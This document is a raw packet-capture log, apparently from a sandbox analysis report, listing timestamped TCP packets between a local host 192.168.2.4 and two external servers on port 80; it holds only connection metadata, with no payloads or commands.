Oct 8, 2024 02:45:33.396624088 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.396634102 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.396648884 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.396677971 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.396677971 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.396677971 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.396692038 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.396946907 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.396986961 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.397048950 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.397066116 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.397079945 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.397087097 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.397095919 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.397099972 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.397111893 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.397119045 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.397128105 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.397135019 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.397144079 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.397159100 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.397171974 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.397195101 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.397197962 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.397197962 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.397197962 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.397198915 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.397209883 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.397226095 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.397231102 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.397242069 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.397254944 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.397255898 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.397269964 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.397278070 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.397293091 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.397296906 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.397306919 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.397319078 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.397322893 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.397336006 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.397339106 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.397346973 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.397355080 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.397367954 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.397368908 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.397381067 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.397384882 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.397398949 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.397402048 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.397418976 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.397425890 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.397434950 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.397449970 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.397450924 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.397466898 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.397480965 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.397491932 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.397491932 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.397520065 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.397905111 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.397919893 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.397945881 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.397958994 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.397974968 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.397979021 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.397988081 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.397991896 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.398008108 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.398010015 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.398022890 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.398027897 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.398037910 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.398046017 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.398061991 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.398061991 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.398073912 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.398078918 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.398093939 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.398097992 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.398111105 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.398116112 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.398125887 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.398128986 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.398143053 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.398148060 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.398159027 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.398159027 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.398175955 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.398180962 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.398190975 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.398200989 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.398206949 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.398211002 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.398228884 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.398230076 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.398247004 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.398247957 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.398262978 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.398267031 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.398281097 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.398283958 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.398297071 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.398300886 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.398313999 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.398317099 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.398329973 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.398332119 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.398346901 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.398350000 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.398363113 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.398367882 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.398380041 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.398381948 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.398396015 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.398403883 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.398411989 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.398413897 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.398427963 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.398436069 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.398443937 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.398452044 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.398459911 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.398468971 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.398475885 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.398487091 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.398500919 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.398516893 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.729399920 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.729399920 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:33.736191034 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:33.736208916 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:34.520919085 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:34.521080017 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:34.756468058 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:34.764377117 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:35.393249035 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:35.393281937 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:35.393409967 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:35.393409967 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:35.396087885 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:35.403583050 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:36.029632092 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:36.029808044 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:36.029898882 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:36.030045986 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:36.045362949 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:36.050266027 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:36.665477037 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:36.665777922 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:36.731987953 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:36.732230902 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:36.736862898 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:36.736924887 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:36.737214088 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:36.737263918 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:36.737812996 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:36.737840891 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:36.737868071 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:36.737869978 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:36.737895012 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:36.737895012 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:36.737912893 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:36.737922907 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:36.737946987 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:36.737948895 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:36.737982035 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:36.738003969 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:36.738008022 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:36.738032103 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:36.738059044 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:36.738065004 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:36.738085985 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:36.738090038 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:36.738112926 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:36.738121033 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:36.738138914 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:36.738142014 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:36.738171101 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:36.738179922 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:36.738204956 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:36.738224983 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:36.741786003 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:36.741848946 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:36.742222071 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:36.742284060 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:36.743058920 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:36.743114948 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:36.743177891 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:36.743207932 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:36.743231058 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:36.743325949 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:36.743336916 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:36.743366003 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:36.743391037 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:36.743412971 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:36.743422985 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:36.743467093 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:36.743494987 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:36.743521929 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:36.743549109 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:36.743593931 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:36.743619919 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:36.743645906 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:36.743673086 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:36.743699074 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:36.743724108 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:36.743769884 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:36.743797064 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:36.743823051 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:36.743849039 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:36.743875027 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:36.743901968 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:36.743927956 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:36.743952990 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:36.743999958 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:36.744026899 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:36.744051933 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:36.744077921 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:36.744102955 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:36.744371891 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:36.744399071 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:36.744425058 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:36.744451046 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:36.744476080 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:36.744502068 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:36.744527102 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:36.744553089 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:36.744579077 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:36.744604111 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:36.744630098 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:36.744656086 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:36.746737003 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:36.746763945 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:36.746810913 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:36.746838093 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:36.747219086 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:36.747246027 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:36.747277021 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:36.747961998 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:36.748008966 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:36.748050928 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:36.748949051 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:36.748976946 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:36.749102116 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:36.749128103 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:36.749154091 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:36.749180079 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:36.749209881 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:36.749236107 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:38.142456055 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:38.142555952 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:38.145664930 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:38.150544882 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:38.829936028 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:38.830244064 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:38.844681978 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:38.849850893 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:38.849925995 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:38.850009918 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:38.855132103 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:39.520560026 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:39.520625114 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:39.520647049 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:39.520664930 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:39.520677090 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:39.520711899 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:39.520720959 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:39.520755053 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:39.520762920 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:39.520804882 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:39.520812988 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:39.520845890 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:39.520855904 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:39.520878077 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:39.520886898 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:39.520910025 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:39.520919085 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:39.520944118 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:39.520951033 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:39.520982027 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:39.525984049 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:39.526050091 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:39.527331114 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:39.527395010 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:40.100071907 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:40.100156069 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:40.100250006 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:40.100290060 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:40.285861969 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:40.285902977 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:40.285936117 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:40.285948038 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:40.285973072 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:40.285973072 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:40.375741005 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:40.375776052 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:40.375833988 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:40.375834942 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:40.385169983 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:40.385219097 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:40.385221004 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:40.385256052 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:40.385262012 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:40.385288000 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:40.385296106 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:40.385322094 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:40.385328054 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:40.385360956 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:40.385588884 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:40.385643005 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:40.386019945 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:40.386061907 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:40.493515968 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:40.493572950 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:40.493607044 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:40.493617058 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:40.493638992 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:40.493665934 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:40.493665934 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:40.493674040 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:40.493695974 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:40.493716002 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:40.493783951 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:40.493827105 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:40.493834972 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:40.493868113 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:40.493875980 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:40.493900061 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:40.493907928 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:40.493932962 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:40.493948936 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:40.493973017 CEST	51294	80	192.168.2.4	147.45.44.104
